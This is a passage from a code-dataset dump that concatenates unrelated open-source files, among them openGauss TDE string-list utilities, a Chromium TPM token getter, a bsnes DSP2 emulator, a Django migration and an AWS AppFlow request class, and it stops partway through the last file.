max_stars_count
int64
301
224k
text
stringlengths
6
1.05M
token_count
int64
3
727k
360
<gh_stars>100-1000 /* * Copyright (c) 2021 Huawei Technologies Co.,Ltd. * * openGauss is licensed under Mulan PSL v2. * You can use this software according to the terms and conditions of the Mulan PSL v2. * You may obtain a copy of Mulan PSL v2 at: * * http://license.coscl.org.cn/MulanPSL2 * * THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, * EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, * MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE. * See the Mulan PSL v2 for more details. * ------------------------------------------------------------------------- * * data_common.cpp * class for TDE data structure * * IDENTIFICATION * src/gausskernel/security/tde_key_management/data_common.cpp * * ------------------------------------------------------------------------- */ #include "tde_key_management/data_common.h" #include "utils/elog.h" AdvStrList *malloc_advstr_list(void) { AdvStrList *new_list = NULL; new_list = (AdvStrList *)palloc0(sizeof(AdvStrList)); if (new_list == NULL) { return NULL; } new_list->node_cnt = 0; new_list->first_node = NULL; return new_list; } void tde_append_node(AdvStrList *list, const char *str_val) { /* last_node -> next = new_node */ AdvStrNode *last_node = NULL; AdvStrNode *new_node = NULL; char *new_node_str_val = NULL; errno_t rc = 0; new_node_str_val = (char *)palloc0(strlen(str_val) + 1); if (new_node_str_val == NULL) { return; } new_node = (AdvStrNode *)palloc0(sizeof(AdvStrNode)); if (new_node == NULL) { pfree_ext(new_node_str_val); return; } rc = strcpy_s(new_node_str_val, strlen(str_val) + 1, str_val); securec_check(rc, "\0", "\0"); new_node->str_val = new_node_str_val; new_node->next = NULL; if (list->first_node == NULL) { list->first_node = new_node; } else { last_node = list->first_node; for (int i = 0; i < (list->node_cnt - 1); i++) { last_node = last_node->next; } last_node->next = new_node; } list->node_cnt++; } size_t tde_list_len(AdvStrList *list) { return list->node_cnt; } AdvStrList *tde_split_node(const char *str, char split_char) { AdvStrList *substr_list = NULL; char *cur_substr = NULL; size_t str_start = 0; errno_t rc = 0; substr_list = malloc_advstr_list(); if ((substr_list == NULL) || (str == NULL)) { return NULL; } for (size_t i = 0; i < strlen(str); i++) { if (str[i] == split_char || i == strlen(str) - 1) { cur_substr = (char *) palloc0(i - str_start + 1); rc = strncpy_s(cur_substr, i - str_start + 1, str + str_start, i - str_start); securec_check(rc, "\0", "\0"); cur_substr[i - str_start] = '\0'; str_start = i + 1; tde_append_node(substr_list, cur_substr); pfree_ext(cur_substr); } } if (tde_list_len(substr_list) == 0) { free_advstr_list(substr_list); substr_list = NULL; return NULL; } return substr_list; } void free_advstr_list(AdvStrList *list) { AdvStrNode *cur_node = NULL; AdvStrNode *to_free = NULL; if (list == NULL) { return; } cur_node = list->first_node; while (cur_node != NULL) { to_free = cur_node; cur_node = cur_node->next; pfree_ext(to_free->str_val); pfree_ext(to_free); } pfree_ext(list); } char *tde_get_val(AdvStrList *list, int list_pos) { AdvStrNode *target_node = NULL; if (list_pos == -1) { list_pos = list->node_cnt - 1; } if (list_pos < 0 || list_pos >= list->node_cnt) { return NULL; } target_node = list->first_node; for (int i = 0; i < list_pos; i++) { target_node = target_node->next; } return target_node->str_val; } void free_advstr_list_with_skip(AdvStrList *list, int list_pos) { AdvStrNode *cur_node = NULL; AdvStrNode *to_free = NULL; if (list_pos == -1) { list_pos = list->node_cnt - 1; } cur_node = list->first_node; for (int i = 0; i < (int)tde_list_len(list); i++) { to_free = cur_node; cur_node = cur_node->next; if (i != list_pos) { pfree_ext(to_free->str_val); pfree_ext(to_free); } } pfree_ext(list); } TDEData::TDEData() { cmk_id = NULL; dek_cipher = NULL; dek_plaintext = NULL; } TDEData::~TDEData() { errno_t rc = 0; if (dek_plaintext != NULL) { rc = memset_s(dek_plaintext, strlen(dek_plaintext), 0, strlen(dek_plaintext)); securec_check(rc, "\0", "\0"); } pfree_ext(cmk_id); pfree_ext(dek_cipher); pfree_ext(dek_plaintext); }
2,238
1,738
/* * All or portions of this file Copyright (c) Amazon.com, Inc. or its affiliates or * its licensors. * * For complete copyright and license terms please see the LICENSE at the root of this * distribution (the "License"). All use of this software is governed by the License, * or, if provided, by the license below or the license accompanying this file. Do not * remove or modify any license notices. This file is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * */ // Original file Copyright Crytek GMBH or its affiliates, used under license. // Description : View System interfaces. #pragma once #include "View.h" #include "IMovieSystem.h" #include <ILevelSystem.h> #include <AzFramework/Components/CameraBus.h> namespace LegacyViewSystem { class DebugCamera; class CViewSystem : public IViewSystem , public IMovieUser , public ILevelSystemListener , public Camera::CameraSystemRequestBus::Handler { private: typedef std::map<unsigned int, IView*> TViewMap; typedef std::vector<unsigned int> TViewIdVector; public: //IViewSystem virtual IView* CreateView(); virtual unsigned int AddView(IView* pView) override; virtual void RemoveView(IView* pView); virtual void RemoveView(unsigned int viewId); virtual void SetActiveView(IView* pView); virtual void SetActiveView(unsigned int viewId); //CameraSystemRequestBus AZ::EntityId GetActiveCamera() override { return m_activeViewId ? GetActiveView()->GetLinkedId() : AZ::EntityId(); } //utility functions virtual IView* GetView(unsigned int viewId); virtual IView* GetActiveView(); virtual unsigned int GetViewId(IView* pView); virtual unsigned int GetActiveViewId(); virtual void Serialize(TSerialize ser); virtual void PostSerialize(); virtual IView* GetViewByEntityId(const AZ::EntityId& id, bool forceCreate); virtual float GetDefaultZNear() { return m_fDefaultCameraNearZ; }; virtual void SetBlendParams(float fBlendPosSpeed, float fBlendRotSpeed, bool performBlendOut) { m_fBlendInPosSpeed = fBlendPosSpeed; m_fBlendInRotSpeed = fBlendRotSpeed; m_bPerformBlendOut = performBlendOut; }; virtual void SetOverrideCameraRotation(bool bOverride, Quat rotation); virtual bool IsPlayingCutScene() const { return m_cutsceneCount > 0; } virtual void UpdateSoundListeners(); virtual void SetDeferredViewSystemUpdate(bool const bDeferred){ m_useDeferredViewSystemUpdate = bDeferred; } virtual bool UseDeferredViewSystemUpdate() const { return m_useDeferredViewSystemUpdate; } virtual void SetControlAudioListeners(bool const bActive); //~IViewSystem //IMovieUser virtual void SetActiveCamera(const SCameraParams& Params); virtual void BeginCutScene(IAnimSequence* pSeq, unsigned long dwFlags, bool bResetFX); virtual void EndCutScene(IAnimSequence* pSeq, unsigned long dwFlags); virtual void SendGlobalEvent(const char* pszEvent); //~IMovieUser // ILevelSystemListener virtual void OnLevelNotFound(const char* levelName) {}; virtual void OnLoadingStart(ILevelInfo* pLevel); virtual void OnLoadingLevelEntitiesStart(ILevelInfo* pLevel) {}; virtual void OnLoadingComplete(ILevel* pLevel) {}; virtual void OnLoadingError(ILevelInfo* pLevel, const char* error) {}; virtual void OnLoadingProgress(ILevelInfo* pLevel, int progressAmount) {}; virtual void OnUnloadComplete(ILevel* pLevel); //~ILevelSystemListener CViewSystem(ISystem* pSystem); ~CViewSystem(); void Release() override { delete this; }; void Update(float frameTime) override; virtual void ForceUpdate(float elapsed) { Update(elapsed); } //void RegisterViewClass(const char *name, IView *(*func)()); bool AddListener(IViewSystemListener* pListener) { return stl::push_back_unique(m_listeners, pListener); } bool RemoveListener(IViewSystemListener* pListener) { return stl::find_and_erase(m_listeners, pListener); } void GetMemoryUsage(ICrySizer* s) const; void ClearAllViews(); private: void RemoveViewById(unsigned int viewId); void ClearCutsceneViews(); void DebugDraw(); ISystem* m_pSystem; //TViewClassMap m_viewClasses; TViewMap m_views; // Listeners std::vector<IViewSystemListener*> m_listeners; unsigned int m_activeViewId; unsigned int m_nextViewIdToAssign; // next id which will be assigned unsigned int m_preSequenceViewId; // viewId before a movie cam dropped in unsigned int m_cutsceneViewId; unsigned int m_cutsceneCount; bool m_bActiveViewFromSequence; bool m_bOverridenCameraRotation; Quat m_overridenCameraRotation; float m_fCameraNoise; float m_fCameraNoiseFrequency; float m_fDefaultCameraNearZ; float m_fBlendInPosSpeed; float m_fBlendInRotSpeed; bool m_bPerformBlendOut; int m_nViewSystemDebug; bool m_useDeferredViewSystemUpdate; bool m_bControlsAudioListeners; public: static DebugCamera* s_debugCamera; }; } // namespace LegacyViewSystem
1,702
3,269
<filename>Algo and DSA/LeetCode-Solutions-master/Python/wiggle-sort.py<gh_stars>1000+ # Time: O(n) # Space: O(1) class Solution(object): def wiggleSort(self, nums): """ :type nums: List[int] :rtype: void Do not return anything, modify nums in-place instead. """ for i in xrange(1, len(nums)): if ((i % 2) and nums[i - 1] > nums[i]) or \ (not (i % 2) and nums[i - 1] < nums[i]): # Swap unordered elements. nums[i - 1], nums[i] = nums[i], nums[i - 1] # time: O(nlogn) # space: O(n) class Solution2(object): def wiggleSort(self, nums): """ :type nums: List[int] :rtype: void Do not return anything, modify nums in-place instead. """ nums.sort() med = (len(nums) - 1) // 2 nums[::2], nums[1::2] = nums[med::-1], nums[:med:-1]
462
1,056
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.modules.spring.beans.model; import org.netbeans.modules.spring.api.Action; import org.netbeans.modules.spring.api.beans.model.SpringBean; import org.netbeans.modules.spring.api.beans.model.SpringBeans; import org.netbeans.modules.spring.api.beans.model.SpringConfigModel; import org.netbeans.modules.spring.beans.ConfigFileTestCase; import org.netbeans.modules.spring.beans.TestUtils; /** * * @author <NAME> */ public class ConfigModelSpringBeansTest extends ConfigFileTestCase { public ConfigModelSpringBeansTest(String testName) { super(testName); } public void testRecursiveAliasSearch() throws Exception { String text = TestUtils.createXMLConfigText("<alias alias='foo' name='bar'/>" + "<alias alias='bar' name='baz'/>" + "<bean name='baz'/>"); TestUtils.copyStringToFile(text, configFile); SpringConfigModel model = createConfigModel(configFile); final String[] beanName = { null }; model.runReadAction(new Action<SpringBeans>() { public void run(SpringBeans beans) { SpringBean bean = beans.findBean("foo"); beanName[0] = bean.getNames().get(0); } }); assertEquals("baz", beanName[0]); } }
734
1,414
#include <sfc/sfc.hpp> namespace SuperFamicom { #define DSP2_CPP #include "opcodes.cpp" DSP2 dsp2; #include "serialization.cpp" auto DSP2::power() -> void { status.waiting_for_command = true; status.in_count = 0; status.in_index = 0; status.out_count = 0; status.out_index = 0; status.op05transparent = 0; status.op05haslen = false; status.op05len = 0; status.op06haslen = false; status.op06len = 0; status.op09word1 = 0; status.op09word2 = 0; status.op0dhaslen = false; status.op0doutlen = 0; status.op0dinlen = 0; } auto DSP2::read(uint addr, uint8 data) -> uint8 { if(addr & 1) return 0x00; uint8 r = 0xff; if(status.out_count) { r = status.output[status.out_index++]; status.out_index &= 511; if(status.out_count == status.out_index) { status.out_count = 0; } } return r; } auto DSP2::write(uint addr, uint8 data) -> void { if(addr & 1) return; if(status.waiting_for_command) { status.command = data; status.in_index = 0; status.waiting_for_command = false; switch(data) { case 0x01: status.in_count = 32; break; case 0x03: status.in_count = 1; break; case 0x05: status.in_count = 1; break; case 0x06: status.in_count = 1; break; case 0x07: break; case 0x08: break; case 0x09: status.in_count = 4; break; case 0x0d: status.in_count = 2; break; case 0x0f: status.in_count = 0; break; } } else { status.parameters[status.in_index++] = data; status.in_index &= 511; } if(status.in_count == status.in_index) { status.waiting_for_command = true; status.out_index = 0; switch(status.command) { case 0x01: { status.out_count = 32; op01(); } break; case 0x03: { op03(); } break; case 0x05: { if(status.op05haslen) { status.op05haslen = false; status.out_count = status.op05len; op05(); } else { status.op05len = status.parameters[0]; status.in_index = 0; status.in_count = status.op05len * 2; status.op05haslen = true; if(data)status.waiting_for_command = false; } } break; case 0x06: { if(status.op06haslen) { status.op06haslen = false; status.out_count = status.op06len; op06(); } else { status.op06len = status.parameters[0]; status.in_index = 0; status.in_count = status.op06len; status.op06haslen = true; if(data)status.waiting_for_command = false; } } break; case 0x07: break; case 0x08: break; case 0x09: { op09(); } break; case 0x0d: { if(status.op0dhaslen) { status.op0dhaslen = false; status.out_count = status.op0doutlen; op0d(); } else { status.op0dinlen = status.parameters[0]; status.op0doutlen = status.parameters[1]; status.in_index = 0; status.in_count = (status.op0dinlen + 1) >> 1; status.op0dhaslen = true; if(data)status.waiting_for_command = false; } } break; case 0x0f: break; } } } }
1,561
5,169
{ "name": "IBMPICore", "version": "2.0.1", "summary": "This framework provides an API Adapter for Presence Insights.", "description": "IBM Presence Insights Core framework enables users to communicate with the Presence Insights services by either sending events or obtaining configuration data.", "homepage": "http://presenceinsights.ibmcloud.com", "license": { "type": "Presence Insights Client iOS Framework License", "text": "Licensed under the Presence Insights Client iOS Framework License (the \"License\");\nyou may not use this file except in compliance with the License. You may find\na copy of the license in the license.txt file in this package.\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n" }, "authors": { "<NAME>.": "<EMAIL>" }, "source": { "git": "https://github.com/presence-insights/pi-clientsdk-ios.git", "tag": "2.0.1" }, "platforms": { "ios": "8.0" }, "requires_arc": true, "source_files": "IBMPICore/*.{swift}", "exclude_files": "IBMPICoreTests/*.{swift}" }
403
852
/* \author <NAME>*/ #include <DQM/RPCMonitorClient/interface/RPCOccupancyTest.h> #include "DQM/RPCMonitorClient/interface/RPCRollMapHisto.h" #include "DQM/RPCMonitorClient/interface/utils.h" // Framework #include "FWCore/MessageLogger/interface/MessageLogger.h" //Geometry #include "Geometry/RPCGeometry/interface/RPCGeomServ.h" RPCOccupancyTest::RPCOccupancyTest(const edm::ParameterSet& ps) { edm::LogVerbatim("rpceventsummary") << "[RPCOccupancyTest]: Constructor"; prescaleFactor_ = ps.getUntrackedParameter<int>("DiagnosticPrescale", 1); numberOfDisks_ = ps.getUntrackedParameter<int>("NumberOfEndcapDisks", 4); numberOfRings_ = ps.getUntrackedParameter<int>("NumberOfEndcapRings", 2); useNormalization_ = ps.getUntrackedParameter<bool>("testMode", true); useRollInfo_ = ps.getUntrackedParameter<bool>("useRollInfo_", false); std::string subsystemFolder = ps.getUntrackedParameter<std::string>("RPCFolder", "RPC"); std::string recHitTypeFolder = ps.getUntrackedParameter<std::string>("RecHitTypeFolder", "AllHits"); prefixDir_ = subsystemFolder + "/" + recHitTypeFolder; } void RPCOccupancyTest::beginJob(std::string& workingFolder) { edm::LogVerbatim("rpceventsummary") << "[RPCOccupancyTest]: Begin job "; globalFolder_ = workingFolder; totalStrips_ = 0.; totalActive_ = 0.; } void RPCOccupancyTest::getMonitorElements(std::vector<MonitorElement*>& meVector, std::vector<RPCDetId>& detIdVector, std::string& clientHistoName) { //Get NumberOfDigi ME for each roll for (unsigned int i = 0; i < meVector.size(); i++) { std::string meName = meVector[i]->getName(); if (meName.find(clientHistoName) != std::string::npos) { myOccupancyMe_.push_back(meVector[i]); myDetIds_.push_back(detIdVector[i]); } } } void RPCOccupancyTest::clientOperation() { edm::LogVerbatim("rpceventsummary") << "[RPCOccupancyTest]: Client Operation"; //Loop on MEs for (unsigned int i = 0; i < myOccupancyMe_.size(); i++) { this->fillGlobalME(myDetIds_[i], myOccupancyMe_[i]); } //End loop on MEs //Active Channels if (Active_Fraction && totalStrips_ != 0.) { Active_Fraction->setBinContent(1, (totalActive_ / totalStrips_)); } if (Active_Dead) { Active_Dead->setBinContent(1, totalActive_); Active_Dead->setBinContent(2, (totalStrips_ - totalActive_)); } } void RPCOccupancyTest::myBooker(DQMStore::IBooker& ibooker) { ibooker.setCurrentFolder(globalFolder_); std::stringstream histoName; histoName.str(""); histoName << "RPC_Active_Channel_Fractions"; Active_Fraction = ibooker.book1D(histoName.str().c_str(), histoName.str().c_str(), 1, 0.5, 1.5); Active_Fraction->setBinLabel(1, "Active Fraction", 1); histoName.str(""); histoName << "RPC_Active_Inactive_Strips"; Active_Dead = ibooker.book1D(histoName.str().c_str(), histoName.str().c_str(), 2, 0.5, 2.5); Active_Dead->setBinLabel(1, "Active Strips", 1); Active_Dead->setBinLabel(2, "Inactive Strips", 1); for (int w = -2; w <= 2; w++) { //loop on wheels histoName.str(""); histoName << "AsymmetryLeftRight_Roll_vs_Sector_Wheel" << w; auto me = RPCRollMapHisto::bookBarrel(ibooker, w, histoName.str(), histoName.str(), useRollInfo_); AsyMeWheel[w + 2] = dynamic_cast<MonitorElement*>(me); } //end Barrel for (int d = -numberOfDisks_; d <= numberOfDisks_; d++) { if (d == 0) continue; int offset = numberOfDisks_; if (d > 0) offset--; //used to skip case equale to zero histoName.str(""); histoName << "AsymmetryLeftRight_Ring_vs_Segment_Disk" << d; auto me = RPCRollMapHisto::bookEndcap(ibooker, d, histoName.str(), histoName.str(), useRollInfo_); AsyMeDisk[d + offset] = dynamic_cast<MonitorElement*>(me); } //End loop on Endcap } void RPCOccupancyTest::fillGlobalME(RPCDetId& detId, MonitorElement* myMe) { if (!myMe) return; MonitorElement* AsyMe = nullptr; //Left Right Asymetry if (detId.region() == 0) { AsyMe = AsyMeWheel[detId.ring() + 2]; } else { if (-detId.station() + numberOfDisks_ >= 0) { if (detId.region() < 0) { AsyMe = AsyMeDisk[-detId.station() + numberOfDisks_]; } else { AsyMe = AsyMeDisk[detId.station() + numberOfDisks_ - 1]; } } } int xBin, yBin; if (detId.region() == 0) { //Barrel xBin = detId.sector(); rpcdqm::utils rollNumber; yBin = rollNumber.detId2RollNr(detId); } else { //Endcap //get segment number RPCGeomServ RPCServ(detId); xBin = RPCServ.segment(); (numberOfRings_ == 3 ? yBin = detId.ring() * 3 - detId.roll() + 1 : yBin = (detId.ring() - 1) * 3 - detId.roll() + 1); } int stripInRoll = myMe->getNbinsX(); totalStrips_ += (float)stripInRoll; float FOccupancy = 0; float BOccupancy = 0; float totEnt = myMe->getEntries(); for (int strip = 1; strip <= stripInRoll; strip++) { float stripEntries = myMe->getBinContent(strip); if (stripEntries > 0) { totalActive_++; } if (strip <= stripInRoll / 2) { FOccupancy += myMe->getBinContent(strip); } else { BOccupancy += myMe->getBinContent(strip); } } float asym = 0; if (totEnt != 0) asym = fabs((FOccupancy - BOccupancy) / totEnt); if (AsyMe) AsyMe->setBinContent(xBin, yBin, asym); }
2,234
843
# Generated by Django 2.2.23 on 2021-06-08 15:40 from django.db import migrations def create_waffle_switch(apps, schema_editor): Switch = apps.get_model('waffle', 'Switch') Switch.objects.create( name='enable-manifest-normalization', active=False, note='Rewrite manifest.json file during repack', ) class Migration(migrations.Migration): dependencies = [ ('files', '0008_remove_file_platform'), ] operations = [migrations.RunPython(create_waffle_switch)]
195
4,339
<filename>modules/core/src/main/java/org/apache/ignite/internal/visor/diagnostic/availability/VisorConnectivityResult.java /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.ignite.internal.visor.diagnostic.availability; import java.io.IOException; import java.io.ObjectInput; import java.io.ObjectOutput; import java.util.Map; import org.apache.ignite.cluster.ClusterNode; import org.apache.ignite.internal.dto.IgniteDataTransferObject; import org.apache.ignite.internal.util.typedef.internal.U; import org.jetbrains.annotations.Nullable; /** * Connectivity task result */ public class VisorConnectivityResult extends IgniteDataTransferObject { /** */ private static final long serialVersionUID = 0L; /** */ @Nullable private Map<ClusterNode, Boolean> nodeStatuses; /** * Default constructor. */ public VisorConnectivityResult() { } /** * @param nodeStatuses Node statuses. */ public VisorConnectivityResult(@Nullable Map<ClusterNode, Boolean> nodeStatuses) { this.nodeStatuses = nodeStatuses; } /** {@inheritDoc} */ @Override protected void writeExternalData(ObjectOutput out) throws IOException { U.writeMap(out, nodeStatuses); } /** {@inheritDoc} */ @Override protected void readExternalData(byte protoVer, ObjectInput in) throws IOException, ClassNotFoundException { nodeStatuses = U.readMap(in); } /** * Get connectivity statuses for a node */ public @Nullable Map<ClusterNode, Boolean> getNodeIds() { return nodeStatuses; } }
725
2,151
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chromeos/tpm/tpm_token_info_getter.h" #include <stdint.h> #include <utility> #include "base/bind.h" #include "base/location.h" #include "base/task_runner.h" #include "chromeos/cryptohome/cryptohome_parameters.h" #include "chromeos/dbus/cryptohome_client.h" namespace { const int64_t kInitialRequestDelayMs = 100; const int64_t kMaxRequestDelayMs = 300000; // 5 minutes // Calculates the delay before running next attempt to initiatialize the TPM // token, if |last_delay| was the last or initial delay. base::TimeDelta GetNextRequestDelayMs(base::TimeDelta last_delay) { // This implements an exponential backoff, as we don't know in which order of // magnitude the TPM token changes it's state. base::TimeDelta next_delay = last_delay * 2; // Cap the delay to prevent an overflow. This threshold is arbitrarily chosen. const base::TimeDelta max_delay = base::TimeDelta::FromMilliseconds(kMaxRequestDelayMs); if (next_delay > max_delay) next_delay = max_delay; return next_delay; } } // namespace namespace chromeos { // static std::unique_ptr<TPMTokenInfoGetter> TPMTokenInfoGetter::CreateForUserToken( const AccountId& account_id, CryptohomeClient* cryptohome_client, const scoped_refptr<base::TaskRunner>& delayed_task_runner) { CHECK(account_id.is_valid()); return std::unique_ptr<TPMTokenInfoGetter>(new TPMTokenInfoGetter( TYPE_USER, account_id, cryptohome_client, delayed_task_runner)); } // static std::unique_ptr<TPMTokenInfoGetter> TPMTokenInfoGetter::CreateForSystemToken( CryptohomeClient* cryptohome_client, const scoped_refptr<base::TaskRunner>& delayed_task_runner) { return std::unique_ptr<TPMTokenInfoGetter>(new TPMTokenInfoGetter( TYPE_SYSTEM, EmptyAccountId(), cryptohome_client, delayed_task_runner)); } TPMTokenInfoGetter::~TPMTokenInfoGetter() = default; void TPMTokenInfoGetter::Start(TpmTokenInfoCallback callback) { CHECK(state_ == STATE_INITIAL); CHECK(!callback.is_null()); callback_ = std::move(callback); state_ = STATE_STARTED; Continue(); } TPMTokenInfoGetter::TPMTokenInfoGetter( TPMTokenInfoGetter::Type type, const AccountId& account_id, CryptohomeClient* cryptohome_client, const scoped_refptr<base::TaskRunner>& delayed_task_runner) : delayed_task_runner_(delayed_task_runner), type_(type), state_(TPMTokenInfoGetter::STATE_INITIAL), account_id_(account_id), tpm_request_delay_( base::TimeDelta::FromMilliseconds(kInitialRequestDelayMs)), cryptohome_client_(cryptohome_client), weak_factory_(this) {} void TPMTokenInfoGetter::Continue() { switch (state_) { case STATE_INITIAL: NOTREACHED(); break; case STATE_STARTED: cryptohome_client_->TpmIsEnabled(base::BindOnce( &TPMTokenInfoGetter::OnTpmIsEnabled, weak_factory_.GetWeakPtr())); break; case STATE_TPM_ENABLED: if (type_ == TYPE_SYSTEM) { cryptohome_client_->Pkcs11GetTpmTokenInfo( base::BindOnce(&TPMTokenInfoGetter::OnPkcs11GetTpmTokenInfo, weak_factory_.GetWeakPtr())); } else { // if (type_ == TYPE_USER) cryptohome_client_->Pkcs11GetTpmTokenInfoForUser( cryptohome::Identification(account_id_), base::BindOnce(&TPMTokenInfoGetter::OnPkcs11GetTpmTokenInfo, weak_factory_.GetWeakPtr())); } break; case STATE_DONE: NOTREACHED(); } } void TPMTokenInfoGetter::RetryLater() { delayed_task_runner_->PostDelayedTask( FROM_HERE, base::BindOnce(&TPMTokenInfoGetter::Continue, weak_factory_.GetWeakPtr()), tpm_request_delay_); tpm_request_delay_ = GetNextRequestDelayMs(tpm_request_delay_); } void TPMTokenInfoGetter::OnTpmIsEnabled(base::Optional<bool> tpm_is_enabled) { if (!tpm_is_enabled.has_value()) { RetryLater(); return; } if (!tpm_is_enabled.value()) { state_ = STATE_DONE; std::move(callback_).Run(base::nullopt); return; } state_ = STATE_TPM_ENABLED; Continue(); } void TPMTokenInfoGetter::OnPkcs11GetTpmTokenInfo( base::Optional<CryptohomeClient::TpmTokenInfo> token_info) { if (!token_info.has_value() || token_info->slot == -1) { RetryLater(); return; } state_ = STATE_DONE; std::move(callback_).Run(std::move(token_info)); } } // namespace chromeos
1,782
3,372
<filename>aws-java-sdk-appflow/src/main/java/com/amazonaws/services/appflow/model/UpdateFlowRequest.java /* * Copyright 2016-2021 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with * the License. A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR * CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions * and limitations under the License. */ package com.amazonaws.services.appflow.model; import java.io.Serializable; import javax.annotation.Generated; import com.amazonaws.AmazonWebServiceRequest; /** * * @see <a href="http://docs.aws.amazon.com/goto/WebAPI/appflow-2020-08-23/UpdateFlow" target="_top">AWS API * Documentation</a> */ @Generated("com.amazonaws:aws-java-sdk-code-generator") public class UpdateFlowRequest extends com.amazonaws.AmazonWebServiceRequest implements Serializable, Cloneable { /** * <p> * The specified name of the flow. Spaces are not allowed. Use underscores (_) or hyphens (-) only. * </p> */ private String flowName; /** * <p> * A description of the flow. * </p> */ private String description; /** * <p> * The trigger settings that determine how and when the flow runs. * </p> */ private TriggerConfig triggerConfig; private SourceFlowConfig sourceFlowConfig; /** * <p> * The configuration that controls how Amazon AppFlow transfers data to the destination connector. * </p> */ private java.util.List<DestinationFlowConfig> destinationFlowConfigList; /** * <p> * A list of tasks that Amazon AppFlow performs while transferring the data in the flow run. * </p> */ private java.util.List<Task> tasks; /** * <p> * The specified name of the flow. Spaces are not allowed. Use underscores (_) or hyphens (-) only. * </p> * * @param flowName * The specified name of the flow. Spaces are not allowed. Use underscores (_) or hyphens (-) only. */ public void setFlowName(String flowName) { this.flowName = flowName; } /** * <p> * The specified name of the flow. Spaces are not allowed. Use underscores (_) or hyphens (-) only. * </p> * * @return The specified name of the flow. Spaces are not allowed. Use underscores (_) or hyphens (-) only. */ public String getFlowName() { return this.flowName; } /** * <p> * The specified name of the flow. Spaces are not allowed. Use underscores (_) or hyphens (-) only. * </p> * * @param flowName * The specified name of the flow. Spaces are not allowed. Use underscores (_) or hyphens (-) only. * @return Returns a reference to this object so that method calls can be chained together. */ public UpdateFlowRequest withFlowName(String flowName) { setFlowName(flowName); return this; } /** * <p> * A description of the flow. * </p> * * @param description * A description of the flow. */ public void setDescription(String description) { this.description = description; } /** * <p> * A description of the flow. * </p> * * @return A description of the flow. */ public String getDescription() { return this.description; } /** * <p> * A description of the flow. * </p> * * @param description * A description of the flow. * @return Returns a reference to this object so that method calls can be chained together. */ public UpdateFlowRequest withDescription(String description) { setDescription(description); return this; } /** * <p> * The trigger settings that determine how and when the flow runs. * </p> * * @param triggerConfig * The trigger settings that determine how and when the flow runs. */ public void setTriggerConfig(TriggerConfig triggerConfig) { this.triggerConfig = triggerConfig; } /** * <p> * The trigger settings that determine how and when the flow runs. * </p> * * @return The trigger settings that determine how and when the flow runs. */ public TriggerConfig getTriggerConfig() { return this.triggerConfig; } /** * <p> * The trigger settings that determine how and when the flow runs. * </p> * * @param triggerConfig * The trigger settings that determine how and when the flow runs. * @return Returns a reference to this object so that method calls can be chained together. */ public UpdateFlowRequest withTriggerConfig(TriggerConfig triggerConfig) { setTriggerConfig(triggerConfig); return this; } /** * @param sourceFlowConfig */ public void setSourceFlowConfig(SourceFlowConfig sourceFlowConfig) { this.sourceFlowConfig = sourceFlowConfig; } /** * @return */ public SourceFlowConfig getSourceFlowConfig() { return this.sourceFlowConfig; } /** * @param sourceFlowConfig * @return Returns a reference to this object so that method calls can be chained together. */ public UpdateFlowRequest withSourceFlowConfig(SourceFlowConfig sourceFlowConfig) { setSourceFlowConfig(sourceFlowConfig); return this; } /** * <p> * The configuration that controls how Amazon AppFlow transfers data to the destination connector. * </p> * * @return The configuration that controls how Amazon AppFlow transfers data to the destination connector. */ public java.util.List<DestinationFlowConfig> getDestinationFlowConfigList() { return destinationFlowConfigList; } /** * <p> * The configuration that controls how Amazon AppFlow transfers data to the destination connector. * </p> * * @param destinationFlowConfigList * The configuration that controls how Amazon AppFlow transfers data to the destination connector. */ public void setDestinationFlowConfigList(java.util.Collection<DestinationFlowConfig> destinationFlowConfigList) { if (destinationFlowConfigList == null) { this.destinationFlowConfigList = null; return; } this.destinationFlowConfigList = new java.util.ArrayList<DestinationFlowConfig>(destinationFlowConfigList); } /** * <p> * The configuration that controls how Amazon AppFlow transfers data to the destination connector. * </p> * <p> * <b>NOTE:</b> This method appends the values to the existing list (if any). Use * {@link #setDestinationFlowConfigList(java.util.Collection)} or * {@link #withDestinationFlowConfigList(java.util.Collection)} if you want to override the existing values. * </p> * * @param destinationFlowConfigList * The configuration that controls how Amazon AppFlow transfers data to the destination connector. * @return Returns a reference to this object so that method calls can be chained together. */ public UpdateFlowRequest withDestinationFlowConfigList(DestinationFlowConfig... destinationFlowConfigList) { if (this.destinationFlowConfigList == null) { setDestinationFlowConfigList(new java.util.ArrayList<DestinationFlowConfig>(destinationFlowConfigList.length)); } for (DestinationFlowConfig ele : destinationFlowConfigList) { this.destinationFlowConfigList.add(ele); } return this; } /** * <p> * The configuration that controls how Amazon AppFlow transfers data to the 